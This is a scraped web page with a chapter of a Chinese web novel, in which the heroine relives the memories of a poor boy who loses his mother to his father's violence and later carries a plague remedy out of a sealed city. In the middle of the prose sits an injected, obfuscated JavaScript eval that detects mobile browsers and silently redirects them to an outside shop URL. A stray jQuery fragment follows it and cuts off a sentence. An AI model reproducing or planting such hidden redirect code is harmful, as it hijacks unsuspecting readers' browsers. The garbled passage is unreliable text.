文趣网 > 其他小说 > 地府投喂日常 > 31. 踏光而来
    换魂术很快施展成功,孟晚炊的意识穿过白光,落入邱方眼中。

    意识放松下来的那一刻,心中乱七八糟的想法也慢慢消散。机会面前,自己实在不该被影响心神。想清楚后,孟晚炊将注意力放回眼下的场景。

    她发现自己的视线只能与床铺齐平,这具身体的高度……似乎是个孩童。

    另一边的羽澜睁眼就看到了面前的破墙烂瓦,忍不住开口吐槽:“怎么这么穷啊,这能住人吗?我宁愿住在林子里也不住这样的地方。”

    孟晚炊这才看到男孩的脚下是稻草,底下遍布着灰尘。这里既没有暖和的床铺,也没有完整的桌椅,甚至连窗户都是用稻草堆挡。墙壁和屋顶都破败不堪,让人感到整间屋子都在塌陷的边缘。羽澜的话虽然直接,却无从反驳。

    瘦弱的邱方正照顾着床上的娘亲。其实与其说是床,更像是个石堆,上头只铺了一层稻草和麻布。

    邱方将找出的三床薄被都盖在娘亲的身上,却还是止不住她的颤抖。

    小小的邱方只能升起火堆,烧了些水,思来想去,又在水里加了些稻米。这是家里最后的一点稻米了,但即便是会被爹爹打骂,他也要让娘亲吃下去,娘亲现在太虚弱了,她比任何人都需要这些稻米。

    煮好后邱方将米汤端给娘亲,娘亲见着白白的米汤,不住地咳了起来,语气中带着不认同:“二娃,这点稻米给我煮了,你爹吃啥?他辛苦在外做工,需要稻米补力气。”

    原来这时候的邱方叫二娃,那后来又是为什么改名为邱方的呢?

    二娃低下头,似乎有泪水在眼中打转:“娘,爹他,爹……”二娃嘴里的话打了几个转,却还是没说出口。

    “娘,我去山上给你采药,我去摘果子抓兔子,不会让爹饿着,兔子可比米好吃多了,您就把这米汤喝了吧。喝了米汤。您也会很快就好了的。”

    二娃的娘看着破碗里的米汤,又看了看面前殷殷切切的孩子,虽然笑中有几分勉强和担忧,还是将手中的米汤喝了下去。

    “娘,您把碗放一边先休息,我出去了,很快就回来。”

    说完,瘦瘦小小的二娃拿起窗下挂着的弹弓,又背上一个大背篓就出门了。他的步伐很急,如果这次带不回兔子,娘亲下次就不会再喝米汤了。

    邱二娃很聪明,他没有在别的地方浪费力气,而是努力地爬到山的另一面。今天的运气似乎也眷顾他,叫他钻到一处大人们不常来的地方,在一丛灌木中找到一窝野兔。

    他做下标记,将那只肥美的公兔带走,留下母兔和一些草果养大它那一窝孩子。

    回去的路上,他又绕路捡了些“药草”。孟晚炊从未见过那些草种,却下意识地发现它们虽然看起来形态各异,却几乎没有能入药的。

    邱二娃的嘴里嘟囔着不知从哪里听来的,“叶长有锯齿,翠绿结朱果”“墨色叶子前窄后阔,矮扁根长”。

    半晌后又挠了挠头:“李婶儿说若能挖到胖乎乎像个小娃娃一样的药草,能卖上不少钱。可到底长什么样?”

    孟晚炊这才知道原来这些是他从街坊邻居那听来的。

    邱二娃一株株细细地挑拣着,他的鉴别能力极好,除了先头选的那两种药草外没再采过第三种。

    天色渐暗,满载而归的邱二娃才迈着轻快的步伐下山。今天一家人都能饱餐一顿,娘亲会开心,爹爹肯定不会再生气了,想到这里,邱二娃开心地哼起了小曲儿。

    刚到家门口,却听到里面传来重物落地的声音。邱二娃的心中发慌,快步跑了进去。

    “娘!”

    掀开草帘,里面不是他期待的阖家欢乐。床上的被子被掀翻在地,粥碗的碎片零散在床,他的娘亲正虚弱地倒在床上,脖子被掉落在一边的碎片划出一道深而长的伤口,正汩汩地往外冒血。

    邱二娃卸下背篓扑了过去,拖住娘亲的身体,将她与父亲分隔开来。

    见着邱二娃,邱平才从愤怒中清醒过来,意识到自己做了什么后,竟一时愣在原地,直到邱二娃哭喊着求他去请郎中,他方才回过神来。

    邱平急匆匆地就出门了,只不过他没有去请郎中,而是跑了。

    邱二娃的娘亲死在了他的怀里,弥留之际,娘亲用最后的力气轻抚他的脸颊,“二娃,对不起,娘对不起你,要好好地活下去。”

    一夜之间,娘亲死了,爹爹也成了逃犯,他现在连孤儿都不如。

    后来的记忆断了线,或许至暗的时刻过去,再往后也都是麻木。

    再睁眼时,从镜面的反光中能看到邱二娃长成了个瘦弱的少年,和地府中雌雄莫辨的邱方有六分相似。

    他现在在一家医馆做采药郎,医馆的吴掌柜许诺他每天两个馒头一碟咸菜,至于采到的药材,则按照卖价的一成付给他。

    这样的工钱在采药的行当里算是克扣,但对于邱二娃来说,那固定的两个馒头和咸菜是能让他活命的东西。

    哪怕遇到冬天大雪封山,无药可采的时候,只要有那两个馒头,他就能活下去。

    遇见医馆忙碌时,他也会给医馆里的郎中打打下手,能学到不少东西。医馆是他失去自己的家后,唯一能感受到依赖的地方。

    可这样的日子没有持续太久,疫病出现了。医馆中的药材很快用光,光靠几位采药郎采的药材根本无法供给给那么多的患者。

    医馆人满为患,疫病来得又凶又急,医馆里的人成了最先遭殃的一批。

    这里很快挂上了闭门的牌子,就连郎中们也卧病在床。

    因为日日在山里采药,邱二娃躲过了一劫。

    “你别过来!”当他最后一次带着药草去医馆时,吴掌柜将门掀开一条缝,捂嘴轻咳着不让他靠近。

    “掌柜,这些药草都是治热症的,您先服用吧。”

    吴掌柜默了一会,才告诉他自己这回收不了他的药草了。

    “掌柜,这些药草不要钱,这是王郎中曾用过的方子,您快拿去煎了喝,很快就会好的。”年少时的心思总写在脸上,吴掌柜一眼便能看出邱二娃的担忧与紧张,一下柔了目光。

    吴掌柜回想起第一次见他时,刚到腰际的男孩捧着一筐草倔强叫卖的模样。

    那里头没有一株草药,他却买了男孩那一筐草。从此教他认药草,亲自带他成为一名采药郎。

    他的记忆力不错,悟性更是好,自己便默许他在医馆学些皮毛,偶尔还会亲自教他识些字。

    如今男孩已经长成少年郎,一晃这么多年的时光,怎会没有感情呢。思及此,吴掌柜从门内丢出一只布包。

    邱二娃拆开来看,里头是一封书信和三两银钱。

    “你先看一遍书信,咳咳,再送去给城东薛家医馆,咳咳咳咳,我这里还有些药,那些你便自己留着吧。”许是说了太多话,吴掌柜开始咳嗽不止,转身关上了门。

    门外传来少年关切的话语:“掌柜掌柜!我不怕疫病,我照顾您!让我留下来吧!”

    “快走!咳咳咳”许是太过激动,吴掌柜的咳嗽声越发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500753|202717||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大了。

    门外的邱二娃听到后颤抖着后退两步。

    “走啊!”

    门内传来“咚”的一声,邱二娃料想是掌柜昏倒在地。

    “掌柜!掌柜!”他心中着急,自然也不再顾忌其他,想要将门撞开。

    门却再次从里打开,是往日对邱二娃十分严厉的吴掌柜的发妻,刘蓉刘夫人。

    邱二娃登时老实地站在原地,眼神却耐不住时不时地往里瞟。

    “你若真想他好过,就带着这些东西走吧,去把该送的东西送了。”

    邱二娃顺从地接过刘蓉递来的一包干饼,这是当下极难得的干粮,他忍不住红了眼眶。

    邱二娃离开了,留下了自己采的药草和银两。

    他依照吴掌柜的嘱托,拆开信看,信里是医馆三位郎中开出的能缓解疫病病症的良方。

    邱二娃把不认识的字纷纷誊写下来。

    这些药材的名字他都认得,大部分都能在山上找到。

    邱二娃带着这封信去薛家医馆时,却发现薛家医馆的大门关得更是严实到底,任凭他怎么敲都敲不开。

    “别敲了,薛掌柜带着家人出城避难去了。”隔壁铺子的老者被敲门声搅扰,忍不住出来骂了几句,见邱二娃木讷不语,还是将此事告知给他。

    出城?

    城门不是关了吗?

    邱二娃听闻这消息后失魂落魄,他不知道自己该怎么完成吴掌柜的嘱托。

    而当邱二娃带着书信爬过高山,在吃完干饼的第三天,终于拖着双血肉模糊的双脚绕过城墙,到达一墙之隔的城外。被巡逻的卫兵用刀摁到地上时,他心中竟是解脱。

    邱二娃将书信高高地举向前方,想回头再看一眼这座城,却看到一道踏光而来的身影。

    当那道身影逐渐清晰,孟晚炊再次感受到那种熟悉的拉扯感。

    意识恢复时,面前是各种各样的药材。

    这具身体一边摆弄着这些药材,一边查看着手中的信件。孟晚炊认出那是邱二娃带来的那封信。

    面前的场景与梦境渐渐重合,孟晚炊的意识也被拉扯开来,一直到能感受到手中药材的触感,和一些不属于她,或者说曾经属于她的忧虑飘荡在心间。这一刻,她似乎与这具身子真正地融为了一体。

    油灯照亮的这一方小空间内,女子正专心致志地看信件上的方子。房中的医书她如数家珍,视线扫过,便能准确地从书架上取出记载着原方的书籍。

    那上头记载着这副药对应的病症,原本确实是一副清热解毒的良方,只是又被那几位大夫换了几味猛药。

    门帘被掀开,走进来的女子名叫春泉,模样乖巧,唤着方晚卿“师父”。

    春泉见师父专心致志的模样,好奇地询问方晚卿那封信如何。

    “这方子下得太狠”方晚卿沉吟片刻,又继续道:“若是身子强健到能扛过这一遭,倒可能好。寻常人服下,怕是雪上加霜。”

    春泉垂眸,显得有些失望:“未免太可惜,那人拼死也要送出来的……我还以为是个良方呢。”

    “这方子承载了太多血泪,已经无法评判好坏。”里面的人是怎样绝望,才会开出这样的方子。想到这,方晚卿的心情更加沉重。

    自己来到迟城时,城门就已经关了。

    住在这片棚屋中的人们皆为此地的望族,与京中亦有着千丝万缕的瓜葛,若非按察使赵大人咬牙派人拦着并上报,他们怕是早已逃向各地,到时的场面会越发不可收拾。